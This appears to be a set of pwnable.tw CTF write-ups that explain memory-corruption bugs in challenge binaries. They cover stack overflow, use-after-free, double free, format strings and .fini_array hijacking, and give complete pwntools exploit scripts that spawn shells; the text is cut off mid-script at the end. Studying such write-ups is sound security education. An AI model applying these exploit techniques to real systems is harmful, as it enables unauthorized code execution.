--- tags: pwn --- # pwnable.tw writeup ## start ```python= from pwn import * rem = remote('chall.pwnable.tw', 10000) rem.recvuntil(':') line = b'A' * 20 + p32(0x8048087) rem.send(line) stack_addr = rem.recv()[0:4] shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' shellcode_addr = p32(int.from_bytes(stack_addr, 'little') + 20) payload = b'A' * 0x14 + shellcode_addr + shellcode rem.sendline(payload) rem.interactive() ``` ## orw ### Description This challenge requires us to read the flag from /home/orw/flag only using using `open`, `read`, and `write` system call. The binary is straightforward, it basically lets us inject shellcode and executes it. ### Exploitation The attack idea is simple: Write a shellcode that does the following: 1. open "/home/orw/flag" 2. read flag from "/home/orw/flag" 3. write flag to standard output. ### Script ```python= from pwn import * io = remote('chall.pwnable.tw', 10001) io.recvuntil('Give my your shellcode:') shellcode = asm(''' xor ecx, ecx # O_RDONLY push 0x0 # null byte push 0x67616c66 # "flag" push 0x2f77726f # "orw/" push 0x2f656d6f # "ome/" push 0x682f2f2f # "///h" mov ebx, esp # "///home/orw/flag" mov eax, 5 # SYS_open int 0x80 # syscall(SYS_open, "///home/orw/flag", O_RDONLY) mov edx, 0x28 # length mov ecx, 0x0804a100 # buffer mov ebx, eax # move file descriptor mov eax, 3 # SYS_read int 0x80 # syscall(SYS_read, fd, buff, length) mov edx, 0x28 # length mov ecx, 0x0804a100 # buffer mov ebx, 1 # STDOUT_FILENO mov eax, 4 # SYS_write int 0x80 # syscall(SYS_write, STDOUT_FILENO, buff, length) ''') io.send(shellcode) flag = io.recvline() print(flag) io.close() ``` ## CVE-2018-1160 懶得寫了,跟 HITCON CTF 2019 Quals 的題目一樣,參考 https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#netatalk ## calc ### Description After running the binary, we can figure out that it is a simple calculator program. Let's examine the result of the decompiled code. ```c= int __cdecl main(int argc, const char **argv, const char **envp) { ssignal(14, timeout); alarm(60); puts("=== Welcome to SECPROG calculator ==="); fflush(stdout); calc(); return puts("Merry Christmas!"); } ``` The core operation is in the calc function. Continue to follow up the calc function and check the code logic. ```c= unsigned int calc() { struct expression exp; // [esp+18h] [ebp-5A0h] char s[1024]; // [esp+1ACh] [ebp-40Ch] unsigned int v3; // [esp+5ACh] [ebp-Ch] v3 = __readgsdword(0x14u); while ( 1 ) { bzero(s, 0x400u); if ( !get_expr(s, 1024) ) break; init_pool(&exp); if ( parse_expr(s, &exp) ) { printf((const char *)&unk_80BF804, exp.stack[exp.num - 1]); fflush(stdout); } } return __readgsdword(0x14u) ^ v3; } ``` There are three important functions in `calc`. The first one is the `get_expr` function. This function process the input expression, filter characters, and copy it onto the stack. The second one is the `init_pool` function, it initializes the expression structure. The third function `parse_expr` is the main parsing logic: ```c= signed int __cdecl parse_expr(char *s, struct expression *exp) { char *v2; // ST2C_4 int n; // eax char *prev; // [esp+20h] [ebp-88h] int i; // [esp+24h] [ebp-84h] int top; // [esp+28h] [ebp-80h] char *temp; // [esp+30h] [ebp-78h] int num; // [esp+34h] [ebp-74h] char operator_s[100]; // [esp+38h] [ebp-70h] unsigned int v11; // [esp+9Ch] [ebp-Ch] v11 = __readgsdword(0x14u); prev = s; top = 0; bzero(operator_s, 0x64u); for ( i = 0; ; ++i ) { if ( (unsigned int)(s[i] - '0') > 9 ) { v2 = (char *)(&s[i] - prev); temp = (char *)malloc(v2 + 1); memcpy(temp, prev, v2); temp[(_DWORD)v2] = 0; if ( !strcmp(temp, "0") ) { puts("prevent division by zero"); fflush(stdout); return 0; } num = atoi(temp); if ( num > 0 ) { n = exp->num++; exp->stack[n] = num; } if ( s[i] && (unsigned int)(s[i + 1] - '0') > 9 ) { puts("expression error!"); fflush(stdout); return 0; } prev = &s[i + 1]; if ( operator_s[top] ) { switch ( s[i] ) { case '%': case '*': case '/': if ( operator_s[top] != '+' && operator_s[top] != '-' ) { eval(exp, operator_s[top]); operator_s[top] = s[i]; } else { operator_s[++top] = s[i]; } break; case '+': case '-': eval(exp, operator_s[top]); operator_s[top] = s[i]; break; default: eval(exp, operator_s[top--]); break; } } else { operator_s[top] = s[i]; } if ( !s[i] ) break; } } while ( top >= 0 ) eval(exp, operator_s[top--]); return 1; } ``` Some important features of this function are: 1. The function starts from the beginning of the string and parse the expression until it reaches an operator. The parser treats every character berfore the operator as a number. 2. From line 25 ~ 36, we can see that the program rejects number 0 (But accepts 00, 000, etc.). After that, it saves the number into the expression structure. 3. Line 44 ~ 70 deals with the main calculation. The final calculation is evaluated in the `eval` function ```c= struct expression *__cdecl eval(struct expression *exp, char op) { struct expression *result; // eax if ( op == '+' ) { exp->stack[exp->num - 2] += exp->stack[exp->num - 1]; } else if ( op > '+' ) { if ( op == '-' ) { exp->stack[exp->num - 2] -= exp->stack[exp->num - 1]; } else if ( op == '/' ) { exp->stack[exp->num - 2] /= exp->stack[exp->num - 1]; } } else if ( op == '*' ) { exp->stack[exp->num - 2] *= exp->stack[exp->num - 1]; } result = exp; --exp->num; return result; } ``` The logic of the operation is to read one operator at a time, then take out the last two numbers in the stack, push the result into the stack, and then subtract one from `exp->num`. ### Vulnerability After some experiments, I find out that the logic fails to deal with expression like `+100+200`. The binary will actually change `exp->num`, which may leads to arbitrary read and write. ### Exploitation If you enter `+{n1}+{n2}` the `parse_expr` processes the statement something like the following: ```c= exp->num = n1; exp->stack[exp->num] = n2; exp->num++; exp->stack[exp->num - 2] += exp->stack[exp->num - 1]; exp->num--; ``` In other words, it set `exp->stack[n1]` to `n2`, and set `exp->stack[n1 - 1]` to `exp->stack[n1 - 1] + n2`. Thus, given controlled `n1` and `n2`, as well as the `printf` function in `calc` that prints the calculation result, we can perform arbitrary write and read from the stack. Thus, we can somehow overwrite the return address of `main`, construct a rop chain, and hijack the execution flow. The exploitation works as follows: 1. Read a leaked stack address from the stack (like old ebp). 2. Construct a rop chain and a string "/bin/sh" to the stack. 3. Overwrite the return address of `main` function with the rop chain. There is one caveat here, that is the program fails to deal with negative numbers. For instance, the stack address is `0xff....`, which is a negative number in two's complement. So, we must split the num into addition of two signed integers so that the two numbers will "overflow" to the correct negative number. ### Script ```python= from pwn import * import ctypes io = remote('chall.pwnable.tw', 10100) # find stack address io.recvuntil('=== Welcome to SECPROG calculator ===\n') io.sendline('+364+1') stack_leak = int(io.recvline()) stack_leak = ctypes.c_uint(stack_leak).value # the binary does not accept unsigned integer. So, divide the address into two signed integers and add them together sh_addr = stack_leak - 109 sh_addr_1 = sh_addr // 2 sh_addr_2 = sh_addr - sh_addr_1 # construct rop chain ''' 0x08049f13 : xor ecx, ecx ; pop ebx ; mov eax, ecx ; pop esi ; pop edi ; pop ebp ; ret (/bin/sh address) junk junk junk 0x0808f612 : add eax, 0xb ; pop edi ; ret junk 0x08080473 : cdq ; ret 0x08049a21 : int 0x80 0x6e69622f : "/bin" 0x0068732f : "/sh\0" ''' io.sendline('+{0}+{1}'.format(378, 0x68732f)) io.recvline() io.sendline('+{0}+{1}'.format(377, 0x6e69622f)) io.recvline() io.sendline('+{0}+{1}'.format(376, 0x8049a21)) io.recvline() io.sendline('+{0}+{1}'.format(375, 0x8080473)) io.recvline() io.sendline('+{0}+{1}'.format(373, 0x808f612)) io.recvline() io.sendline('+{0}+{1}'.format(369, sh_addr_1)) io.recvline() io.sendline('+{0}+{1}'.format(370, sh_addr_2)) io.recvline() io.sendline('+{0}+{1}'.format(368, 0x8049f13)) io.recvline() io.interactive() ``` ## hacknote ### Description The functions in the binary is quite self-explanatory. There are 3 functions in total: `add_note`, `delete_note`, and `print_note`. The `add_note` function first malloc for a note struct which is 8 byte in size. The first 4 byte is the `print` function, the last 4 byte is the pointer to the node content. The structure of node is shown below: ```c struct node { void (*puts_func)(); char *content; } ``` After that, it prompts the user for note size, and the node content is being allocated by malloc. No heap overflow here. The `delete_note` function simply frees the note content chunk, then free the note chunk. ### Vulnerability Here, we can see that there is an obvious **use after free** error in `delete_note`. First, we need to leak the libc address. We can achieve this by printing the **GOT entry** of a function, say, `puts`. ```python puts_func = 0x804862b # write got pointer of puts to ptr[1] data = p32(puts_func) + p32(elf.got['puts']) add_note(0x8, data) # leak puts address puts_addr = u32(print_note(1)) libc.address = puts_addr - libc.sym['puts'] ``` Then, we want to trigger `system("sh")`. The strategy is quite straightforward. If we overwrite `note->puts_func` with `system`, and let `node->content` = ";sh", then we can trigger the function `system("<system_addr>;sh")` and get a shell. ```python # calculate system address system_libc = libc.sym['system'] # write ';sh\0' to ptr[1] again, then it will invoke system("<system_addr>;sh\0") delete_note(2) data = p32(system_libc) + b';sh\0' add_note(0x8, data) ``` ### Exploit ```python from pwn import * io = remote('chall.pwnable.tw', 10102) elf = ELF('./hacknote') libc = ELF('./libc_32.so.6') def add_note(size, data): io.recvuntil('Your choice :') io.sendline('1') io.recvuntil('Note size :') io.sendline(str(size)) io.recvuntil('Content :') io.send(data) def delete_note(index): io.recvuntil('Your choice :') io.sendline('2') io.recvuntil('Index :') io.sendline(str(index)) def print_note(index): io.recvuntil('Your choice :') io.sendline('3') io.recvuntil('Index :') io.sendline(str(index)) data = io.recvuntil('----------------------') return data[:4] puts_func = 0x804862b add_note(0x18, 'AAAAAAAA') add_note(0x18, 'AAAAAAAA') delete_note(1) delete_note(0) # write got pointer of puts to ptr[1] data = p32(puts_func) + p32(elf.got['puts']) add_note(0x8, data) # leak puts address puts_addr = u32(print_note(1)) libc.address = puts_addr - libc.sym['puts'] # calculate system address system_libc = libc.sym['system'] # write ';sh\0' to ptr[1] again, then it will invoke system("<system_addr>;sh\0") delete_note(2) data = p32(system_libc) + b';sh\0' add_note(0x8, data) io.recvuntil('Your choice :') io.sendline('3') io.recvuntil('Index :') io.sendline('1') io.interactive() ``` ## 3x17 ### Description The binary is simple. You give the binary an address and a value, the binary will modify the address with the intended value. ### Vulnerability The vulnerability is, of course, arbitrary write. Note that overwriting a single address with one single value is, in reality, impossible to pwn the binary. In fact, the main point of this problem is to introduce us an attack involving hijacking **.fini_array** ([more information](http://www.bright-shadows.net/tutorials/dtors.txt)). The main idea of this attack is to make `.fini_array[0]` = `__libc_csu_fini` and `.fini_array[1]` = `main`. Then, the program will eventually circulate between `main` and `__libc_csu_fini`. Thereafter, we can perform arbitrary number of writes. Next, we want to construct a ROP stack that triggers `execve("/bin/sh", NULL, NULL)`. Here is a small tip that I use in this problem: I use `leave` instruction to store `rbp` into `rsp`. Let's examine the assembly code: ``` .text:0000000000402960 sub_402960 proc near ; DATA XREF: start+F↑o .text:0000000000402960 ; __unwind { .text:0000000000402960 push rbp .text:0000000000402961 lea rax, unk_4B4100 .text:0000000000402968 lea rbp, off_4B40F0 .text:000000000040296F push rbx .text:0000000000402970 sub rax, rbp .text:0000000000402973 sub rsp, 8 .text:0000000000402977 sar rax, 3 .text:000000000040297B jz short loc_402996 .text:000000000040297D lea rbx, [rax-1] .text:0000000000402981 nop dword ptr [rax+00000000h] .text:0000000000402988 .text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j .text:0000000000402988 call qword ptr [rbp+rbx*8+0] .text:000000000040298C sub rbx, 1 .text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh .text:0000000000402994 jnz short loc_402988 .text:0000000000402996 .text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j .text:0000000000402996 add rsp, 8 .text:000000000040299A pop rbx .text:000000000040299B pop rbp .text:000000000040299C jmp sub_48E32C .text:000000000040299C ; } // starts at 402960 .text:000000000040299C sub_402960 endp ``` We can see that `rbp` is `0x4b40f0`, which is the address of `.fini_array`. Calling `leave` instruction is equivalent to performing `mov rsp, rbp` and `pop rbp`, which overwrite `rsp` with `rbp`. Consequently, `rsp` is replaced with `rbp`, which is the address of `.fini_array`. In conclusion, our ROP gadget should be written at the address of `.fini_array + 8`, whic implies that we can construct the ROP stack near `.fini_array`. Note that there is a restriction that `cnt` must be 1. But, thanks th the integer overflow of uint8 in `cnt`, it will eventually "cycles" back to 1, which makes the restriction useless. ### Exploit ```python= from pwn import * io = remote('chall.pwnable.tw', 10105) def overwrite(addr, data): io.recvuntil('addr:') io.send(str(addr)) io.recvuntil('data:') io.send(data) # hijack .fini_array fini_array = 0x4b40f0 libc_csu_fini = 0x402960 main = 0x401b6d overwrite(fini_array, p64(libc_csu_fini) + p64(main)) # rop gadget leave_ret_addr = 0x401c4b pop_rdi = 0x401696 pop_rsi = 0x406c30 pop_rdx = 0x446e35 xor_rax_rax = 0x442110 add_al_0x3a = 0x417b0f add_eax_1 = 0x471811 syscall = 0x4022b4 overwrite(fini_array + 0x10, p64(fini_array + 0x58) + p64(pop_rsi) + p64(0)) overwrite(fini_array + 0x28, p64(pop_rdx) + p64(0) + p64(xor_rax_rax)) overwrite(fini_array + 0x40, p64(add_al_0x3a) + p64(add_eax_1) + p64(syscall)) overwrite(fini_array + 0x58, b'/bin/sh\0') overwrite(fini_array, p64(leave_ret_addr) + p64(pop_rdi)) io.interactive() ``` ## dubblesort ### Description The decompiled code: ```c= int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax int *v4; // edi unsigned int v5; // esi int v6; // ecx unsigned int i; // esi int v8; // ST08_4 int result; // eax int v10; // edx unsigned int v11; // et1 unsigned int sort_num; // [esp+18h] [ebp-74h] int array[8]; // [esp+1Ch] [ebp-70h] char name[64]; // [esp+3Ch] [ebp-50h] unsigned int v15; // [esp+7Ch] [ebp-10h] v15 = __readgsdword(0x14u); signal_alarm(); __printf_chk(1, "What your name :"); read(0, name, 0x40u); __printf_chk(1, "Hello %s,How many numbers do you what to sort :"); __isoc99_scanf("%u", &sort_num); v3 = sort_num; if ( sort_num ) { v4 = array; v5 = 0; do { __printf_chk(1, "Enter the %d number : "); fflush(stdout); __isoc99_scanf("%u", v4); ++v5; v3 = sort_num; ++v4; } while ( sort_num > v5 ); } dubblesort((unsigned int *)array, v3); puts("Result :"); if ( sort_num ) { i = 0; do { v8 = array[i]; __printf_chk(1, "%u "); ++i; } while ( sort_num > i ); } result = 0; v11 = __readgsdword(0x14u); v10 = v11 ^ v15; if ( v11 != v15 ) sub_BA0(v6, v10); return result; } The binary first asks for your name. Then it asks how many numbers to sort. Next, it asks for the numbers that you want to sort. Finally, it shows you the sorted output. ``` ### Exploitation 1. The binary uses `read` to handle input name. It seems that the binary does not handle null byte properly. If we enter name `b'A' * 0x18`, we can see non-printable characters after the output: ``` What your name :AAAAAAAAAAAAAAAAAAAAAAAA Hello AAAAAAAAAAAAAAAAAAAAAAAA @��,How many numbers do you what to sort : ``` This means that we can read some leaked values from the stack. After some experiments, I found out that the leaked value seems to be a libc address. Eventaully, we can calculate the base address of libc. 2. There is no mechanism that checks the number of numbers that we want to sort. So, if we enter more than 24 numbers, we can see that the program crashes due to stack smashing. This indicates that the stack values beyond the array is being sorted. Here, we want to somehow bypass the canary so that the canary would not been overwritten. Here, notice that the program uses `scanf("%u")` when inputting numbers. After some investigation, it seems that we can give '+' as input. It will be regarded as normal input while keeping the original value at this position and skip directly to the next one. So, we can bypass canary by inputing '+'. 3. The rest of the exploit is simply **return to libc** attack. We can utilize the libc shared library to find `system` and `/bin/sh`, then replace the return address with `system('/bin/sh')`. ### Script ```python= from pwn import * io = remote('chall.pwnable.tw', 10101) libc = ELF('./libc_32.so.6') io.recvuntil(':') # leak libc address io.sendline(b'A' * 24) io.recvline() libc_leak = b'\0' + io.recvuntil(':')[0:3] libc_leak = u32(libc_leak) libc.address = libc_leak - 0x1b0000 # calculate system address and shell address system_addr = libc.symbols['system'] sh_addr = next(libc.search(b'/bin/sh\x00')) io.sendline('35') # 1 ~ 23 in first 24 numbers for i in range(24): io.recvuntil(': ') io.sendline(str(i)) # skip canary using '+' io.recvuntil(': ') io.sendline('+') # 7 libc address for i in range(7): io.recvuntil(': ') io.sendline(str(libc.address)) # system address io.recvuntil(': ') io.sendline(str(system_addr)) # junk, just set it to system_addr io.recvuntil(': ') io.sendline(str(system_addr)) # /bin/sh io.recvuntil(': ') io.sendline(str(sh_addr)) io.interactive() ``` ## Silver Bullet ### Vulnerability `strncat` will add a null byte at the end of the string, which means that `strncat` will reset the byte after the last character to '\0'. In our case, it will causing the `counter` field to be reset to zero. Thus, we can continue power up, and the binary end up with buffer overflow. The remaining part is quite easy. ### Exploitation ```python= from pwn import * io = remote('chall.pwnable.tw', 10103) elf = ELF('./silver_bullet') libc = ELF('./libc_32.so.6') def create_bullet(desc): io.recvuntil('Your choice :') io.sendline('1') io.recvuntil('Give me your description of bullet :') io.send(desc) def power_up(new_desc): io.recvuntil('Your choice :') io.sendline('2') io.recvuntil('Give me your another description of bullet :') io.send(new_desc) def beat(): io.recvuntil('Your choice :') io.sendline('3') # overwrite bullet->power with 0 create_bullet('A' * 47) power_up('A') # print address of puts and calculate base address of libc main_address = 0x8048954 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] power_up(b'\x7f\xff\xff' + b'AAAA' + p32(puts_plt) + p32(main_address) + p32(puts_got)) beat() io.recvuntil('Oh ! You win !!\n') puts_addr = u32(io.recv(4)) libc.address = puts_addr - libc.sym['puts'] # again create_bullet('A' * 47) power_up('B') # trigger system('/bin/sh') system_addr = libc.sym['system'] sh_addr = next(libc.search(b'/bin/sh')) power_up(b'\x7f\xff\xff' + b'AAAA' + p32(system_addr) + b'AAAA' + p32(sh_addr)) beat() io.interactive() ``` ## applestore ### Vulnerability The structure that stores the iphone 8 is not stored on the heap, but on the stack. Hence, after the `checkout` function ends, the structure is released. When other functions are called, the structure is likely to be overwritten. So as long as we pay attention to which functions can control the structure of iphone 8, we can perform arbitrary read and write. ```c= unsigned int checkout() { int total_price; // [esp+10h] [ebp-28h] struct item curr_item; // [esp+18h] [ebp-20h] unsigned int v3; // [esp+2Ch] [ebp-Ch] v3 = __readgsdword(0x14u); total_price = cart(); if ( total_price == 7174 ) { puts("*: iPhone 8 - $1"); asprintf((char **)&curr_item, "%s", "iPhone 8"); curr_item.price = 1; insert(&curr_item); total_price = 7175; } printf("Total: $%d\n", total_price); puts("Want to checkout? Maybe next time!"); return __readgsdword(0x14u) ^ v3; } ``` ### Exploitation 1. First, we ned to control the total price of the product to 7174. Then, we can easily leak libc address by calling the `checkout` function. 2. The stack address pointing to the iphone 8 structure has been inserted into the linked list now. Hence, we can try to overwrite the structure of iphone 8, change the address to `environ` and leak a stack address. 3. After we get the stack address, we can calculate the proper offset and ROP the binary. ```python= from pwn import * io = remote('chall.pwnable.tw', 10104) elf = ELF('./applestore') libc = ELF('./libc_32.so.6') def add(number): io.recvuntil('> ') io.send('2') io.recvuntil('Device Number> ') io.send(number) def delete(number): io.recvuntil('> ') io.send('3') io.recvuntil('Item Number> ') io.send(number) def cart(yn): io.recvuntil('> ') io.sendline('4') io.recvuntil('Let me check your cart. ok? (y/n) > ') io.sendline(yn) if yn[0] == ord(b'y'): leak = io.recvuntil(' - $0', drop = True) return leak else: return None def checkout(yn, iphone8 = False): io.recvuntil('> ') io.sendline('5') io.recvuntil('Let me check your cart. ok? (y/n) > ') io.sendline(yn) def leave(): io.recvuntil('> ') io.sendline('6') ''' 199 * 10 + 299 * 12 + 399 * 4 == 7174 ''' for i in range(10): add(b'1') for i in range(12): add(b'2') for i in range(4): add(b'4') checkout('y', True) # leak libc address leak = cart(b'yy' + p32(elf.got['read']) + p32(0) + p32(0) + p32(0)).split(b'\n')[-1] libc.address = u32(leak[4:8]) - 0xd41c0 # leak stack address via environ leak = cart(b'yy' + p32(libc.sym['environ']) + p32(0) + p32(0) + p32(0)).split(b'\n')[-1] rop_addr = u32(leak[4:8]) - 0xa0 # write rop gadget system_addr = libc.sym['system'] sh_addr = next(libc.search(b'/bin/sh')) rop_gadget = p32(system_addr) + p32(0) + p32(sh_addr) write_addr = libc.address + 0x1b4e00 for index, char in enumerate(rop_gadget): delete(b'27' + p32(0) + p32(0) + p32(write_addr + char) + p32(rop_addr - 0x8 + index)) # trigger rop leave() io.interactive() ``` ## Re-alloc ### Vulnerability If size is set to 0 in `realloc`, the effect is identical to heap. Hence, notice that if we set `size` to 0, the chunk is freed, but `heap[0]` or `heap[1]` is not cleared. Hence, there is a **uaf** vulnerability. ```c= int reallocate() { unsigned __int64 v1; // [rsp+8h] [rbp-18h] unsigned __int64 size; // [rsp+10h] [rbp-10h] void *v3; // [rsp+18h] [rbp-8h] printf("Index:"); v1 = read_long(); if ( v1 > 1 || !heap[v1] ) return puts("Invalid !"); printf("Size:"); size = read_long(); if ( size > 0x78 ) return puts("Too large!"); v3 = realloc(heap[v1], size); if ( !v3 ) return puts("alloc error"); heap[v1] = v3; printf("Data:", size); return read_input((__int64)heap[v1], size); } ``` ### Exploitation 1. Basically, we can use tcache dup to overwrite `atoi@got` to `printf@plt`. After that, the problem turns into a fmt string problem. 2. The fmt problem here is quite tricky, because we can only input up to 16 characters. We should try to use fmt write to paint `_exit@got`, `_exit@got+1`, ..., `_exit@got+7` onto the stack first, then use fmt write to overwrite these address with `one_gadget[0]`, `one_gadget[1]`, ..., `one_gadget[7]` respectively. ```python= from pwn import * io = remote('chall.pwnable.tw', 10106) libc = ELF('./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so') elf = ELF('./re-alloc') def alloc(index, size, data): io.recvuntil('Your choice: ') io.sendline('1') io.recvuntil('Index:') io.sendline(str(index)) io.recvuntil('Size:') io.sendline(str(size)) io.recvuntil('Data:') io.send(data) def realloc(index, size, data): io.recvuntil('Your choice: ') io.sendline('2') io.recvuntil('Index:') io.sendline(str(index)) io.recvuntil('Size:') io.sendline(str(size)) if size == 0: return io.recvuntil('Data:') io.send(data) def free(index): io.recvuntil('Your choice: ') io.sendline('3') io.recvuntil('Index:') io.sendline(str(index)) def fmt_read(index): io.recvuntil('Your choice: ') io.sendline('1') io.recvuntil('Index:') io.send('%{}$016lx'.format(index)) return io.recv(16) def fmt_write(index, value): io.recvuntil('Your choice: ') io.sendline('1') io.recvuntil('Index:') io.send('%{}c%{}$hhn'.format(value, index).ljust(16)) def leave(): io.recvuntil('Your choice: ') io.sendline('4') # double free error alloc(0, 0x18, b'A') realloc(0, 0, b'') realloc(0, 0x18, p64(0) + p64(0)) free(0) alloc(0, 0x18, p64(elf.got['atoll']) + p64(0)) alloc(1, 0x18, b'A') realloc(1, 0x28, b'A') free(1) # change got address of atoi to printf # now, the challenge turns into a fmt exploitation challenge alloc(1, 0x18, p64(elf.plt['printf'])) # leak libc address and stack address libc.address = int(fmt_read(23), 16) - 0x26b6b stack_address = int(fmt_read(18), 16) # write got address of _exit to stack for i in range(3): fmt_write(12, (stack_address & 0xff) + i) fmt_write(18, p64(elf.got['_exit'])[i]) # overwrite got address of _exit with one_gadget one_gadget = libc.address + 0xe2383 fmt_write(12, stack_address & 0xff) for i in range(6): fmt_write(18, (elf.got['_exit'] & 0xff) + i) fmt_write(22, p64(one_gadget)[i]) # trigger one_gadget leave() io.interactive() ``` ## tcache tear ### Vulnerability 1. An obvious double free error in main function. 2. integer overflow vulnerability in `my_malloc` (not used) ### Exploitation 1. The only thing we can do now is tcache duplication. Perform it leads to tcache poisoning, which subsequently leads to arbitrary write. 3. The only place that we can perform arbitrary reading is in `info` function. Thus, the best way to leak the libc address is to leak the unsorted bin addres (which is in libc). 4. Construct several fake chunks that allows us to performs unsorted bin attack. Perform it and calcuate the libc base address. 6. Change `__free_hook` to `system` and perform return to libc attack by calling the `free` fuction. ### Exploit ```python= from pwn import * libc = ELF('./libc.so.6') io = remote('chall.pwnable.tw', 10207) io.recvuntil('Name') io.send('name') def mymalloc(size, data): io.recvuntil('Your choice :') io.sendline('1') io.recvuntil('Size:') io.sendline(str(size)) io.recvuntil('Data:') io.send(data) def myfree(): io.recvuntil('Your choice :') io.sendline('2') def info(): io.recvuntil('Your choice :') io.sendline('3') return io.recvuntil('$$$$$$$$$$$$$$$$$$$$$$$') name_addr = 0x602060 big_chunk_size = 0x420 small_chunk_size = 0x20 top_chunk_size = 0x10000 # tcache duplication and tcache poisoning -> arbitrary write # construct fake chunks to perform unsorted bin attack and leak libc address mymalloc(0x38, 'AAAA') myfree() myfree() mymalloc(0x38, p64(name_addr + big_chunk_size + 0x8)) mymalloc(0x38, 'BBBB') mymalloc(0x38, p64(small_chunk_size | 1) + p64(0) * 3 + p64(top_chunk_size | 1)) mymalloc(0x48, 'AAAA') myfree() myfree() mymalloc(0x48, p64(name_addr)) mymalloc(0x48, 'BBBB') mymalloc(0x48, p64(0) + p64(big_chunk_size | 1) + p64(0) * 3 + p64(name_addr + 0x10)) myfree() # leak libc address info_leak = info() libc_leak = info_leak[22:28] libc_leak = u64(libc_leak.ljust(8, b'\0')) offset = 0x3ebca0 libc_base = libc_leak - offset # overwrite free hook free_hook_addr = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] mymalloc(0x58, 'AAAA') myfree() myfree() mymalloc(0x58, p64(free_hook_addr)) mymalloc(0x58, 'BBBB') mymalloc(0x58, p64(system_addr)) mymalloc(0x68, '/bin/sh\0') # return to libc attack myfree() io.interactive() ``` ## secret garden ### Description The application is pretty simple and straightforward, you can create a flower in a garden. A flower object can be removed from the garden marking it as freed. You can also free the flower object with the by cleaning the garden. There are 5 options available in the menu: 1. `raise_flower`: It malloc a 0x28 size flower object. The, it prompts for the length of the flower, allocate a chunk for the flower name using malloc, and ask for the flower name. This means that we can controll the malloc size. 2. `visit`: It prints all the unfreed flower name along with the color. 3. `remove_flower`: It asks the user for the index of the flower that you want to free. 4. `clean_garden`: It iterates through all flowers in the garden and frees the flower objects which the `freed` field is set to 0. ### Vulnerabilities In `remove_flower`, there is an obvious double free error. ### Exploitation Our first goal is to leak the base address of libc. In `raise_flower`, we get to decide the size that we want to malloc. Hence, we can allocate a chunk that is bit enough so that when the chunk is freed, it is inserted into the **unsorted bin**. In order to leak the **main arena** address, we allocate two chunks of size 0xb0. By doing so, when the second chunk is freed, it will be inserted into the unsorted bin. After that, `chunk->fd` and `chunk->bk` will be the address of the **main arena**. ``` gdb-peda$ x/32xg 0x555556cd3070 0x555556cd3070: 0x0000000000000000 0x0000000000000091 0x555556cd3080: 0x00007f977c5ccb0a 0x00007f977c5ccb78 0x555556cd3090: 0x0000000000000000 0x0000000000000000 0x555556cd30a0: 0x0000000000000000 0x0000000000000000 0x555556cd30b0: 0x0000000000000000 0x0000000000000000 0x555556cd30c0: 0x0000000000000000 0x0000000000000000 0x555556cd30d0: 0x0000000000000000 0x0000000000000000 0x555556cd30e0: 0x0000000000000000 0x0000000000000000 0x555556cd30f0: 0x0000000000000000 0x0000000000000000 0x555556cd3100: 0x0000000000000090 0x0000000000000031 0x555556cd3110: 0x0000000000000001 0x0000555556cd3140 0x555556cd3120: 0x0000000000000030 0x0000000000000000 0x555556cd3130: 0x0000000000000000 0x00000000000000c1 0x555556cd3140: 0x0000000000000000 0x0000000000000000 0x555556cd3150: 0x0000000000000000 0x0000000000000000 0x555556cd3160: 0x0000000000000000 0x0000000000000000 gdb-peda$ ``` Then, we call the `visit` option to leak the address of main arena. Eventually, we can use the leaked address to calculate the base address of libc. The offset that we have to subtract is 3947274. Below is the script that leaks the base address of libc: ```python3 raise_flower(0xb0, b'A', b'0') raise_flower(0xb0, b'A', b'0') remove_flower(0) raise_flower(128, b'\n', b'0') leak = visit().split(b':')[3][0:6] libc_leak = u64(leak.ljust(8, b'\0')) libc.address = libc_leak - 3947274 ``` The next step is to figure out how to carry our arbitrary write. Since there is a double free error, and the version of libc is less than 2.25, we can perform the [fastbin dup](https://github.com/shellphish/how2heap/blob/master/fastbin_dup.c) attack. Below is the script that performs bastbin dup: ```python raise_flower(0x68, b'A', b'0') raise_flower(0x68, b'A', b'0') raise_flower(0x68, b'A', b'0') remove_flower(3) remove_flower(4) remove_flower(3) ``` Now, the real problem is that what address can we overwrite? By typing `checksec` in gdb-peda, we can see that the protection is fully on: ``` [*] '/home/user/pwnable.tw_writeup/secretgarden/secretgarden' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled ``` Hence, we have no way to perform **return to libc** attack by overwriting the **GOT table**. Luckily, the `__free_hook` and `__malloc_hook` in glibc can still be overwritten. But before that, there is one more security check that you need to bypass. We need to specify the size of the memory chunk. This is because if the requested memory chuck can be found in fastbin, malloc removes the chunk from the fastbin and again calculates the fastbin index where the chunk should be placed. Thus, if malloc finds out that size of the memory chunk is incorrect, it will throws a memory corruption error. ([reference](](https://github.com/shellphish/how2heap/blob/master/glibc_2.25/fastbin_dup_into_stack.c#L41-L45)) ```python malloc_hook = libc.sym['__malloc_hook'] one_gadget = libc.address + 0xef6c4 raise_flower(0x68, p64(malloc_hook - 0x23), b'0') raise_flower(0x68, b'A', b'0') raise_flower(0x68, b'A', b'0') raise_flower(0x68, b'\0' * 0x13 + p64(one_gadget), b'0') ``` So, you need to investigate their near-by memory such that the chunk size is in the range of fastbin. Eventually, you'll found the location `__malloc_hook - 0x23` that has a chunk size of 0x70 which satisfies your need. ``` gdb-peda$ x/8xg (long)&__malloc_hook - 0x23 0x7f6dd2a39aed: 0x6dd2a38260000000 0x000000000000007f 0x7f6dd2a39afd: 0x0000000000000000 0x0000000000000000 0x7f6dd2a39b0d <__realloc_hook+5>: 0x6dd27656c4000000 0x000000000000007f 0x7f6dd2a39b1d: 0x0000000000000000 0x0000000000000000 gdb-peda$ ``` The next question is, what arress should we overwrite? Here, we can overwrite the `__malloc_hook` address with a one gadget address. After several experiments, the offset `0xef6c4` seems to be working. ```python malloc_hook = libc.sym['__malloc_hook'] one_gadget = libc.address + 0xef6c4 raise_flower(0x68, p64(malloc_hook - 0x23), b'0') raise_flower(0x68, b'A', b'0') raise_flower(0x68, 